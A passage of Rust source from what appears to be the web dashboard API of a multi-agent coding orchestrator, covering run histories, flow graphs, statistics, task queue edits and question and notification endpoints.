3328in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3329
3330fn review_branch_of(instruction: &str) -> Option<&str> {
3333 let rest = instruction.strip_prefix("Review the work already on branch `")?;
3334 rest.split('`').next().filter(|b| !b.is_empty())
3335}
3336
3337struct RunSlot<'a> {
3339 n: usize,
3341 resumed: bool,
3343 resumed_later: Option<usize>,
3345 prior: Option<(&'a str, RunStatus)>,
3347 last: bool,
3348}
3349
3350fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3353 let RunSlot {
3354 n,
3355 resumed,
3356 resumed_later,
3357 prior,
3358 last,
3359 } = at;
3360 let short = run::short_of(id).to_owned();
3361 let Some(s) = state else {
3362 return TaskRunView {
3363 n,
3364 id: id.to_owned(),
3365 short,
3366 kind: "unknown",
3367 status: None,
3368 readable: false,
3369 provisional: false,
3370 description:
3371 "This run's record could not be read by this build (written by a different \
3372 magi, or removed), so what kind of attempt it was is unknown."
3373 .to_owned(),
3374 outcome: String::new(),
3375 created_at: None,
3376 pr: None,
3377 exit: RunExit::Unreadable,
3378 attempt: AttemptCost::Unknown,
3379 branch: None,
3380 };
3381 };
3382 let branch = review_branch_of(&s.instruction);
3383 let kind = if resumed {
3384 "resume"
3385 } else if branch.is_some() {
3386 "review"
3387 } else if task.solo || s.candidates.len() == 1 {
3388 "solo"
3389 } else {
3390 "competition"
3391 };
3392 let mut description = match kind {
3393 "resume" => {
3394 format!("Resumed run {short}: the same run carried on instead of competing again.")
3395 }
3396 "review" => format!(
3397 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
3398 branch.unwrap_or_default()
3399 ),
3400 "solo" => "Solo run: one implementer straight into review.".to_owned(),
3401 _ => format!(
3402 "Competition: {} candidates judged blind.",
3403 s.candidates.len().max(1)
3404 ),
3405 };
3406 if !resumed && let Some((p, st)) = prior {
3407 description.push_str(&format!(
3408 " A retry: run {p} before it ended {}.",
3409 st.display_label()
3410 ));
3411 }
3412
3413 let status = s.status;
3414 let provisional = matches!(status, RunStatus::Stalled)
3415 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
3416 let head = if resumed_later.is_some() {
3417 String::new()
3418 } else {
3419 match status {
3420 RunStatus::Merged => "Merged.".to_owned(),
3421 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
3422 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
3423 RunStatus::AlreadyInBase => {
3424 "Already in the base: this change landed under other commits, nothing was left to land."
3425 .to_owned()
3426 }
3427 RunStatus::Stalled => {
3428 "Stalled: the judging panel never reached a quorum, so there is no verdict."
3429 .to_owned()
3430 }
3431 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
3432 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
3433 RunStatus::VerifiedNoop => {
3434 "Verified no-op: the candidates found nothing to change.".to_owned()
3435 }
3436 other if other.done() => format!("Ended {}.", other.display_label()),
3437 other => format!("In progress ({}).", other.display_label()),
3438 }
3439 };
3440 let why = if let Some(k) = resumed_later {
3441 let cause = if s.quota.is_empty() {
3448 "the cause was not recorded: a park, a crash or a restart all look the same from here"
3449 } else {
3450 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
3451 };
3452 format!(
3453 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
3454 )
3455 } else if s.parked {
3456 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
3457 .to_owned()
3458 } else if !status.done()
3459 || matches!(
3460 status,
3461 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
3462 )
3463 {
3464 String::new()
3465 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3466 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3467 {
3468 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
3469 .to_owned()
3470 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3471 " It left a pull request open, so the task was held for a person rather than retried."
3472 .to_owned()
3473 } else if matches!(status, RunStatus::VerifiedNoop) {
3474 " Held for a person to check the claim.".to_owned()
3475 } else if last {
3476 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
3477 } else {
3478 " It spent an attempt, and the task moved on to the next run.".to_owned()
3479 };
3480 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
3481 TaskRunView {
3482 n,
3483 id: id.to_owned(),
3484 short,
3485 kind,
3486 status: Some(status.as_str()),
3487 readable: true,
3488 provisional,
3489 description,
3490 outcome: format!("{head}{why}"),
3491 created_at: Some(s.created_at),
3492 pr: s.pr.as_ref().map(|p| p.url.clone()),
3493 exit,
3494 attempt: exit.cost(),
3495 branch: branch.map(str::to_owned),
3496 }
3497}
3498
3499#[derive(Debug, Serialize, PartialEq)]
3501struct FlowNode {
3502 key: String,
3504 kind: &'static str,
3506 label: String,
3507 status: Option<&'static str>,
3510 note: Option<&'static str>,
3512 run_kind: Option<&'static str>,
3513 detail: Option<String>,
3514 decided: bool,
3516 readable: bool,
3517 href: Option<String>,
3518}
3519
3520#[derive(Debug, Serialize, PartialEq)]
3521struct FlowEdge {
3522 from: String,
3523 to: String,
3524 label: String,
3525 attempt: AttemptCost,
3526}
3527
3528#[derive(Debug, Serialize, PartialEq)]
3529struct FlowView {
3530 nodes: Vec<FlowNode>,
3531 edges: Vec<FlowEdge>,
3532 attempts: usize,
3534 max_attempts: usize,
3535}
3536
3537fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
3540 let node = |key: &str, kind, label: String| FlowNode {
3541 key: key.to_owned(),
3542 kind,
3543 label,
3544 status: None,
3545 note: None,
3546 run_kind: None,
3547 detail: None,
3548 decided: false,
3549 readable: true,
3550 href: None,
3551 };
3552 let mut nodes = vec![node("start", "start", "Task queued".to_owned())];
3553 let mut edges: Vec<FlowEdge> = Vec::new();
3554 let mut prev = "start".to_owned();
3555 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
3556 for (i, h) in history.iter().enumerate() {
3557 let key = format!("run-{}", h.n);
3558 let mut n = node(&key, "run", format!("Run {}", h.short));
3559 n.run_kind = Some(h.kind);
3560 n.readable = h.readable;
3561 n.href = Some(format!("#/runs/{}", h.id));
3562 n.decided = h.readable && !h.provisional;
3563 n.detail = h
3564 .branch
3565 .as_ref()
3566 .map(|b| format!("review-only run of branch {b}"));
3567 match h.exit {
3568 RunExit::Unreadable => n.note = Some("unreadable"),
3569 RunExit::Interrupted => n.note = Some("interrupted"),
3570 _ => {
3571 n.status = h.status;
3572 if h.provisional {
3573 n.note = Some("no verdict");
3574 }
3575 }
3576 }
3577 let into = match h.kind {
3578 "review" => Some(format!(
3579 "review-only run of branch {}",
3580 h.branch.as_deref().unwrap_or("?")
3581 )),
3582 "resume" => Some("resume the same run".to_owned()),
3583 _ if i > 0 => Some("retry".to_owned()),
3584 _ => None,
3585 };
3586 let label = match (prev_exit, into) {
3587 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
3588 (Some((e, st)), None) => e.edge_label(st),
3589 (None, Some(i)) => i,
3590 (None, None) => "claimed".to_owned(),
3591 };
3592 edges.push(FlowEdge {
3593 from: prev.clone(),
3594 to: key.clone(),
3595 label,
3596 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
3597 });
3598 prev_exit = Some((h.exit, h.status));
3599 prev = key;
3600 nodes.push(n);
3601 }
3602 let mut end = node("end", "end", task.status.as_str().to_owned());
3603 end.status = Some(task.status.as_str());
3604 nodes.push(end);
3605 let (label, attempt) = match prev_exit {
3606 None => (
3607 format!("no run yet \u{2192} {}", task.status.as_str()),
3608 AttemptCost::None,
3609 ),
3610 Some((e, st)) if e.explains(task.status) => (
3611 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
3612 e.cost(),
3613 ),
3614 Some((e, _)) => (
3615 format!("closed by hand: task is {}", task.status.as_str()),
3616 e.cost(),
3617 ),
3618 };
3619 edges.push(FlowEdge {
3620 from: prev,
3621 to: "end".to_owned(),
3622 label,
3623 attempt,
3624 });
3625 FlowView {
3626 nodes,
3627 edges,
3628 attempts: task.attempts,
3629 max_attempts,
3630 }
3631}
3632
3633fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
3636 let mut history = Vec::with_capacity(task.runs.len());
3637 let mut seen: Vec<&str> = Vec::new();
3638 let mut prior: Option<(&str, RunStatus)> = None;
3639 for (i, run_id) in task.runs.iter().enumerate() {
3640 let state = read(run_id);
3641 let resumed = seen.contains(&run_id.as_str());
3642 seen.push(run_id);
3643 history.push(task_run_view(
3644 run_id,
3645 state.as_ref(),
3646 RunSlot {
3647 n: i + 1,
3648 resumed,
3649 resumed_later: task.runs[i + 1..]
3650 .iter()
3651 .position(|r| r == run_id)
3652 .map(|off| i + off + 2),
3653 prior,
3654 last: i + 1 == task.runs.len(),
3655 },
3656 task,
3657 ));
3658 if let Some(s) = &state {
3659 prior = Some((run::short_of(run_id), s.status));
3660 }
3661 }
3662 history
3663}
3664
3665async fn task_detail(
3666 State(ui): State<Arc<Ui>>,
3667 Path(id): Path<String>,
3668) -> ApiResult<Json<TaskDetailView>> {
3669 blocking(move || {
3670 let id = resolve_task(&ui.queue, &id)?;
3671 let task = ui
3672 .queue
3673 .get(&id)
3674 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
3675 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
3676 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
3677 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
3678 let max_attempts = daemon::Opts::default().max_attempts;
3679 let flow = task_flow(&task, &history, max_attempts);
3680 Ok(Json(TaskDetailView {
3681 max_attempts,
3682 flow,
3683 history,
3684 runs_unreadable,
3685 attempts_note: ATTEMPTS_NOTE,
3686 task: TaskView::with_inventory(task, &inv),
3687 }))
3688 })
3689 .await
3690}
3691
3692#[derive(Debug, Serialize)]
3696struct RateView {
3697 pct: f64,
3698 denominator: usize,
3699}
3700
3701impl RateView {
3702 fn of(numerator: usize, denominator: usize) -> Option<Self> {
3703 (denominator > 0).then(|| Self {
3704 pct: 100.0 * numerator as f64 / denominator as f64,
3705 denominator,
3706 })
3707 }
3708}
3709
3710#[derive(Debug, Serialize)]
3715struct StatsTotalsView {
3716 runs: usize,
3717 merged: usize,
3718 ready: usize,
3719 blocked: usize,
3720 failed: usize,
3721 stalled: usize,
3722 verified_noop: usize,
3723 superseded: usize,
3724 in_progress: usize,
3725 completion_rate: Option<RateView>,
3726 tallied: usize,
3727 split: usize,
3728 split_rate: Option<RateView>,
3729 deliberated: usize,
3730 minds_changed: usize,
3731 converged: usize,
3732 review_rounds: usize,
3733}
3734
3735impl From<&stats::Totals> for StatsTotalsView {
3736 fn from(t: &stats::Totals) -> Self {
3737 Self {
3738 runs: t.runs,
3739 merged: t.merged,
3740 ready: t.ready,
3741 blocked: t.blocked,
3742 failed: t.failed,
3743 stalled: t.stalled,
3744 verified_noop: t.verified_noop,
3745 superseded: t.superseded,
3746 in_progress: t.in_progress,
3747 completion_rate: RateView::of(t.merged + t.ready, t.runs),
3748 tallied: t.tallied,
3749 split: t.split,
3750 split_rate: RateView::of(t.split, t.tallied),
3751 deliberated: t.deliberated,
3752 minds_changed: t.minds_changed,
3753 converged: t.converged,
3754 review_rounds: t.review_rounds,
3755 }
3756 }
3757}
3758
3759#[derive(Debug, Serialize)]
3761struct AgentStatsView {
3762 agent: String,
3763 entered: usize,
3764 wins: usize,
3765 empty: usize,
3766 win_rate: Option<RateView>,
3767}
3768
3769impl From<&stats::AgentStats> for AgentStatsView {
3770 fn from(a: &stats::AgentStats) -> Self {
3771 Self {
3772 agent: a.agent.clone(),
3773 entered: a.entered,
3774 wins: a.wins,
3775 empty: a.empty,
3776 win_rate: RateView::of(a.wins, a.entered),
3777 }
3778 }
3779}
3780
3781#[derive(Debug, Serialize)]
3785struct ReviewerStatsView {
3786 agent: String,
3787 rounds: usize,
3788 seated: usize,
3789 submitted: usize,
3790 adopted: usize,
3791 unique: usize,
3792 timeouts: usize,
3793 adopted_per_round: Option<f64>,
3794 precision: Option<RateView>,
3795 unique_rate: Option<RateView>,
3796 timeout_rate: Option<RateView>,
3797}
3798
3799impl From<&stats::ReviewerStats> for ReviewerStatsView {
3800 fn from(r: &stats::ReviewerStats) -> Self {
3801 Self {
3802 agent: r.agent.clone(),
3803 rounds: r.rounds,
3804 seated: r.seated,
3805 submitted: r.submitted,
3806 adopted: r.adopted,
3807 unique: r.unique,
3808 timeouts: r.timeouts,
3809 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3810 precision: RateView::of(r.adopted, r.submitted),
3811 unique_rate: RateView::of(r.unique, r.submitted),
3812 timeout_rate: RateView::of(r.timeouts, r.seated),
3813 }
3814 }
3815}
3816
3817#[derive(Debug, Serialize)]
3823struct AdvisorStatsView {
3824 agent: String,
3825 seated: usize,
3826 proposed: usize,
3827 absent: usize,
3828 faint: usize,
3829 strong: usize,
3830 reflection_rate: Option<RateView>,
3831}
3832
3833impl From<&stats::AdvisorStats> for AdvisorStatsView {
3834 fn from(a: &stats::AdvisorStats) -> Self {
3835 Self {
3836 agent: a.agent.clone(),
3837 seated: a.seated,
3838 proposed: a.proposed,
3839 absent: a.absent,
3840 faint: a.faint,
3841 strong: a.strong,
3842 reflection_rate: RateView::of(a.strong, a.proposed),
3843 }
3844 }
3845}
3846
3847#[derive(Debug, Serialize)]
3849struct E2eStatsView {
3850 rounds: usize,
3851 failures: usize,
3852 sole_detections: usize,
3853 deferred: usize,
3854 sole_rate: Option<RateView>,
3855}
3856
3857impl From<&stats::E2eStats> for E2eStatsView {
3858 fn from(e: &stats::E2eStats) -> Self {
3859 Self {
3860 rounds: e.rounds,
3861 failures: e.failures,
3862 sole_detections: e.sole_detections,
3863 deferred: e.deferred,
3864 sole_rate: RateView::of(e.sole_detections, e.failures),
3865 }
3866 }
3867}
3868
3869#[derive(Debug, Serialize)]
3877struct ReleaseBumpStatsView {
3878 merged: usize,
3879 recorded: usize,
3880 pr_opened: usize,
3881 automerge_enabled: usize,
3882 merged_directly: usize,
3883 needs_attention: usize,
3884 clean: usize,
3885 coverage_rate: Option<RateView>,
3886 automerge_rate: Option<RateView>,
3887 attention_rate: Option<RateView>,
3888}
3889
3890impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
3891 fn from(b: &stats::ReleaseBumpStats) -> Self {
3892 Self {
3893 merged: b.merged,
3894 recorded: b.recorded,
3895 pr_opened: b.pr_opened,
3896 automerge_enabled: b.automerge_enabled,
3897 merged_directly: b.merged_directly,
3898 needs_attention: b.needs_attention,
3899 clean: b.clean(),
3900 coverage_rate: RateView::of(b.recorded, b.merged),
3901 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
3902 attention_rate: RateView::of(b.needs_attention, b.recorded),
3903 }
3904 }
3905}
3906
3907#[derive(Debug, Serialize)]
3909struct TaskCountsView {
3910 queued: usize,
3911 running: usize,
3912 done: usize,
3913 failed: usize,
3914 held: usize,
3915 blocked: usize,
3916}
3917
3918impl From<crate::queue::TaskCounts> for TaskCountsView {
3919 fn from(c: crate::queue::TaskCounts) -> Self {
3920 Self {
3921 queued: c.queued,
3922 running: c.running,
3923 done: c.done,
3924 failed: c.failed,
3925 held: c.held,
3926 blocked: c.blocked,
3927 }
3928 }
3929}
3930
3931#[derive(Debug, Serialize)]
3937struct RepoSummaryView {
3938 repo: String,
3941 name: String,
3943 runs: usize,
3944 completion_rate: Option<RateView>,
3945}
3946
3947impl From<&stats::RepoStats> for RepoSummaryView {
3948 fn from(r: &stats::RepoStats) -> Self {
3949 let t = &r.stats.totals;
3950 Self {
3951 repo: r.repo.to_string_lossy().into_owned(),
3952 name: r.name.clone(),
3953 runs: t.runs,
3954 completion_rate: RateView::of(t.merged + t.ready, t.runs),
3955 }
3956 }
3957}
3958
3959#[derive(Debug, Serialize)]
3965struct StatsView {
3966 totals: StatsTotalsView,
3967 agents: Vec<AgentStatsView>,
3969 reviewers: Vec<ReviewerStatsView>,
3971 advisors: Vec<AdvisorStatsView>,
3973 e2e: E2eStatsView,
3974 release_bumps: ReleaseBumpStatsView,
3975 queue: TaskCountsView,
3976 runs_unreadable: usize,
3986 repos: Vec<RepoSummaryView>,
3990 repo: Option<String>,
3994}
3995
3996#[derive(Debug, Default, Deserialize)]
4005#[serde(default)]
4006struct StatsQuery {
4007 repo: Option<String>,
4008}
4009
4010async fn stats_get(
4017 State(ui): State<Arc<Ui>>,
4018 Query(q): Query<StatsQuery>,
4019) -> ApiResult<Json<StatsView>> {
4020 blocking(move || {
4021 let states: Vec<RunState> = run_ids(&ui.runs)
4022 .into_iter()
4023 .filter_map(|id| read_run(&ui.runs, &id).ok())
4024 .collect();
4025 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4026 .iter()
4027 .map(RepoSummaryView::from)
4028 .collect();
4029 let collected = match &q.repo {
4030 Some(repo) => {
4031 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4032 if filtered.is_empty() {
4033 return Err(ApiError::not_found(format!(
4034 "no runs recorded against repo `{repo}`"
4035 )));
4036 }
4037 stats::collect_refs(filtered)
4038 }
4039 None => stats::collect(&states),
4040 };
4041 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4042 Ok(Json(StatsView {
4043 totals: StatsTotalsView::from(&collected.totals),
4044 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4045 reviewers: collected
4046 .reviewers
4047 .iter()
4048 .map(ReviewerStatsView::from)
4049 .collect(),
4050 advisors: collected
4051 .advisors
4052 .iter()
4053 .map(AdvisorStatsView::from)
4054 .collect(),
4055 e2e: E2eStatsView::from(&collected.e2e),
4056 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4057 queue: TaskCountsView::from(queue_counts),
4058 runs_unreadable: runs_unreadable(&ui.runs),
4059 repos,
4060 repo: q.repo.clone(),
4061 }))
4062 })
4063 .await
4064}
4065
4066#[derive(Debug, Default, Deserialize)]
4069#[serde(default, deny_unknown_fields)]
4070struct HoldBody {
4071 reason: Option<String>,
4072}
4073
4074async fn queue_hold(
4075 State(ui): State<Arc<Ui>>,
4076 Path(id): Path<String>,
4077 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4078) -> ApiResult<Json<TaskView>> {
4079 let body = match body {
4083 Ok(Json(body)) => body,
4084 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4085 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4086 };
4087 let reason = body.reason.filter(|r| !r.trim().is_empty());
4088 mutate(ui, id, move |t| {
4089 t.hold_manual(reason.clone());
4090 Ok(())
4091 })
4092 .await
4093}
4094
4095async fn queue_release(
4096 State(ui): State<Arc<Ui>>,
4097 Path(id): Path<String>,
4098) -> ApiResult<Json<TaskView>> {
4099 mutate(ui, id, |t| {
4100 t.release();
4101 Ok(())
4102 })
4103 .await
4104}
4105
4106#[derive(Debug, Deserialize)]
4108#[serde(deny_unknown_fields)]
4109struct PriorityBody {
4110 priority: i32,
4111}
4112
4113async fn queue_priority(
4119 State(ui): State<Arc<Ui>>,
4120 Path(id): Path<String>,
4121 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4122) -> ApiResult<Json<TaskView>> {
4123 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4124 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4125}
4126
4127#[derive(Debug, Deserialize)]
4129#[serde(deny_unknown_fields)]
4130struct EditBody {
4131 title: String,
4132 instruction: String,
4133 #[serde(default)]
4136 force: bool,
4137}
4138
4139async fn queue_edit(
4143 State(ui): State<Arc<Ui>>,
4144 Path(id): Path<String>,
4145 body: std::result::Result<Json<EditBody>, JsonRejection>,
4146) -> ApiResult<Json<TaskView>> {
4147 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4148 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4149 mutate(ui, id, move |t| {
4150 if !body.force && body.instruction != t.instruction {
4151 let hits =
4152 crate::dupes::check(&queue, &runs, &t.repo, &body.instruction, None, Some(&t.id));
4153 if !hits.is_empty() {
4154 return Err(crate::dupes::Duplicate(hits).into());
4155 }
4156 }
4157 t.edit(body.title.clone(), body.instruction.clone())
4158 })
4159 .await
4160}
4161
4162async fn queue_done(
4170 State(ui): State<Arc<Ui>>,
4171 Path(id): Path<String>,
4172) -> ApiResult<Json<TaskView>> {
4173 let home = ui.home.clone();
4174 mutate(ui, id, move |t| {
4175 t.succeed();
4176 crate::daemon::supersede_prior_runs(t, &home);
4184 Ok(())
4185 })
4186 .await
4187}
4188
4189async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4197 blocking(move || {
4198 let id = resolve_task(&ui.queue, &id)?;
4199 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4200 ui.queue
4201 .remove(&id, in_flight, &ui.questions)
4202 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4203 Ok(StatusCode::NO_CONTENT)
4204 })
4205 .await
4206}
4207
4208async fn mutate(
4217 ui: Arc<Ui>,
4218 id: String,
4219 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4220) -> ApiResult<Json<TaskView>> {
4221 blocking(move || {
4222 let id = resolve_task(&ui.queue, &id)?;
4223 let _claim = ui.queue.claim(&id).map_err(|e| {
4228 ApiError::conflict(format!(
4229 "{e:#} - a daemon is running this task, so it cannot be \
4230 changed from here yet"
4231 ))
4232 })?;
4233 let mut task = ui.queue.get(&id)?;
4234 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4235 Ok(dup) => ApiError::conflict(dup.render(
4236 "Nothing was saved. If it is not a duplicate, repeat the request with \
4237 \"force\": true.",
4238 )),
4239 Err(e) => ApiError::bad_request_from(e),
4240 })?;
4241 ui.queue.put(&mut task)?;
4242 Ok(Json(TaskView::from(task)))
4243 })
4244 .await
4245}
4246
4247async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4255 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4256 tokio::spawn(async move {
4257 let mut ticker = tokio::time::interval(POLL);
4258 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4259 loop {
4260 ticker.tick().await;
4263 let state = Arc::clone(&ui);
4264 let revisions = tokio::task::spawn_blocking(move || {
4265 (
4266 state.queue.revision(),
4267 runs_revision(&state.runs),
4268 state.questions.revision(),
4269 state.talks.revision(),
4270 state.notices.revision(),
4271 state.lock_loop().rev,
4275 )
4276 })
4277 .await;
4278 let Ok(revisions) = revisions else { break };
4279 if last == Some(revisions) {
4280 continue;
4281 }
4282 last = Some(revisions);
4283 let payload = serde_json::json!({
4284 "queue_rev": revisions.0,
4285 "runs_rev": revisions.1,
4286 "questions_rev": revisions.2,
4287 "talks_rev": revisions.3,
4288 "notifications_rev": revisions.4,
4289 "loop_rev": revisions.5,
4290 });
4291 let Ok(event) = Event::default().event("change").json_data(payload) else {
4293 break;
4294 };
4295 if tx.send(event).await.is_err() {
4296 break;
4297 }
4298 }
4299 });
4300 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4301 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4302}
4303
4304fn runs_revision(runs: &FsPath) -> u64 {
4311 use std::hash::{Hash as _, Hasher as _};
4312
4313 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4314 .into_iter()
4315 .flatten()
4316 .flatten()
4317 .filter_map(|e| {
4318 let path = e.path().join("run.json");
4319 let mtime = path
4320 .metadata()
4321 .ok()?
4322 .modified()
4323 .ok()?
4324 .duration_since(std::time::UNIX_EPOCH)
4325 .ok()?
4326 .as_millis() as u64;
4327 let id = e.file_name().to_string_lossy().into_owned();
4328 Some((id, mtime))
4329 })
4330 .collect();
4331
4332 if entries.is_empty() {
4333 return 0;
4334 }
4335
4336 entries.sort_unstable();
4337 let mut hasher = std::hash::DefaultHasher::new();
4338 for (id, mtime) in &entries {
4339 id.hash(&mut hasher);
4340 mtime.hash(&mut hasher);
4341 }
4342 let h = hasher.finish();
4343 if h == 0 { 1 } else { h }
4344}
4345
4346fn run_ids(runs: &FsPath) -> Vec<String> {
4352 let mut ids: Vec<String> = std::fs::read_dir(runs)
4353 .into_iter()
4354 .flatten()
4355 .flatten()
4356 .filter(|e| e.path().join("run.json").is_file())
4357 .map(|e| e.file_name().to_string_lossy().into_owned())
4358 .collect();
4359 ids.sort_unstable_by(|a, b| b.cmp(a));
4361 ids
4362}
4363
4364fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
4366 let path = runs.join(id).join("run.json");
4367 let body =
4368 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
4369 let state: RunState =
4370 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
4371 run::migrate_schema(state)
4376}
4377
4378#[must_use]
4386pub fn runs_unreadable(runs: &FsPath) -> usize {
4387 run_ids(runs)
4388 .into_iter()
4389 .filter(|id| read_run(runs, id).is_err())
4390 .count()
4391}
4392
4393fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
4395 if runs.join(id).join("run.json").is_file() {
4396 return Ok(id.to_owned());
4397 }
4398 pick(run_ids(runs), id, "run")
4399}
4400
4401fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
4403 if queue.path_of(id).is_file() {
4404 return Ok(id.to_owned());
4405 }
4406 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
4407}
4408
4409#[derive(Debug, Serialize)]
4420struct QuestionView {
4421 #[serde(flatten)]
4422 question: Question,
4423 detail_md: Vec<md::Node>,
4424 waiting_on_agent: bool,
4434 holder: Option<&'static str>,
4438 deputies_enabled: bool,
4442}
4443
4444impl QuestionView {
4445 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
4449 let base = md::ImageBase::QuestionPanel {
4450 id: question.id.clone(),
4451 };
4452 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
4453 Self {
4454 detail_md: md::to_nodes(&question.detail, &base),
4455 waiting_on_agent: question.waiting_on_agent(),
4456 holder,
4457 deputies_enabled,
4458 question,
4459 }
4460 }
4461}
4462
4463fn deputies_enabled(repo: &std::path::Path, q: &Question) -> bool {
4465 let cfg = Config::discover(repo, None).ok().map(|(c, _)| c);
4466 crate::deputy::can_start(cfg.as_ref(), crate::deputy::agent_of(q))
4467}
4468
4469fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
4479 if !q.status.open() {
4480 return None;
4481 }
4482 if q.cwd.is_none() && q.deputy.is_none() {
4483 return (q.node == crate::conduct::NODE).then_some("nobody");
4484 }
4485 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
4486 Some(_) if q.deputy.is_some() => "deputy",
4487 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
4488 Some(_) => "asker",
4489 None => "nobody",
4490 })
4491}
4492
4493async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
4499 blocking(move || {
4500 Ok(Json(
4501 ui.questions
4502 .list()
4503 .into_iter()
4504 .map(|q| {
4505 let on = deputies_enabled(&ui.repo, &q);
4506 QuestionView::of(q, &ui.questions, on)
4507 })
4508 .collect(),
4509 ))
4510 })
4511 .await
4512}
4513
4514async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
4517 blocking(move || {
4518 let items = ui.notices.list();
4519 let unread = items.iter().filter(|n| n.unread()).count();
4520 Ok(Json(
4521 serde_json::json!({ "unread": unread, "items": items }),
4522 ))
4523 })
4524 .await
4525}
4526
4527fn notice_error(e: anyhow::Error) -> ApiError {
4528 ApiError::not_found(format!("{e:#}"))
4531}
4532
4533async fn notification_read(
4535 State(ui): State<Arc<Ui>>,
4536 Path(id): Path<String>,
4537) -> ApiResult<Json<Notice>> {
4538 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
4539}
4540
4541async fn notification_dismiss(
4543 State(ui): State<Arc<Ui>>,
4544 Path(id): Path<String>,
4545) -> ApiResult<Json<Notice>> {
4546 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
4547}
4548
4549async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
4551 blocking(move || {
4552 let changed = ui.notices.mark_all_read()?;
4553 Ok(Json(serde_json::json!({ "marked": changed })))
4554 })
4555 .await
4556}
4557
4558#[derive(Debug, Default, Deserialize)]
4564#[serde(default, deny_unknown_fields)]
4565struct NewAnswer {
4566 choice: Option<String>,
4567 text: Option<String>,
4568}
4569
4570async fn question_answer(
4571 State(ui): State<Arc<Ui>>,
4572 Path(id): Path<String>,
4573 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
4574) -> ApiResult<Json<QuestionView>> {
4575 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4576 let answer = match (body.choice, body.text) {
4577 (Some(c), None) => Answer::Choice(c),
4578 (None, Some(t)) => Answer::Text(t),
4579 (Some(_), Some(_)) => {
4580 return Err(ApiError::bad_request(
4581 "send either `choice` or `text`, not both",
4582 ));
4583 }
4584 (None, None) => {
4585 return Err(ApiError::bad_request("send a `choice` or a `text`"));
4586 }
4587 };
4588
4589 blocking(move || {
